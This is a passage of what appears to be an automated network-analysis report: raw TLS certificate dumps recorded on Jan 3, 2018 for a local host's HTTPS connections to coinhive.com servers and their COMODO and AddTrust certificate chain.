URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:35:57.585875988 MEZ	443	49173	94.130.90.154	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:36:11.868350983 MEZ	443	49174	136.243.89.209	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:36:11.868350983 MEZ	443	49174	136.243.89.209	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:36:11.868350983 MEZ	443	49174	136.243.89.209	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:36:12.119406939 MEZ	443	49175	136.243.91.46	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A 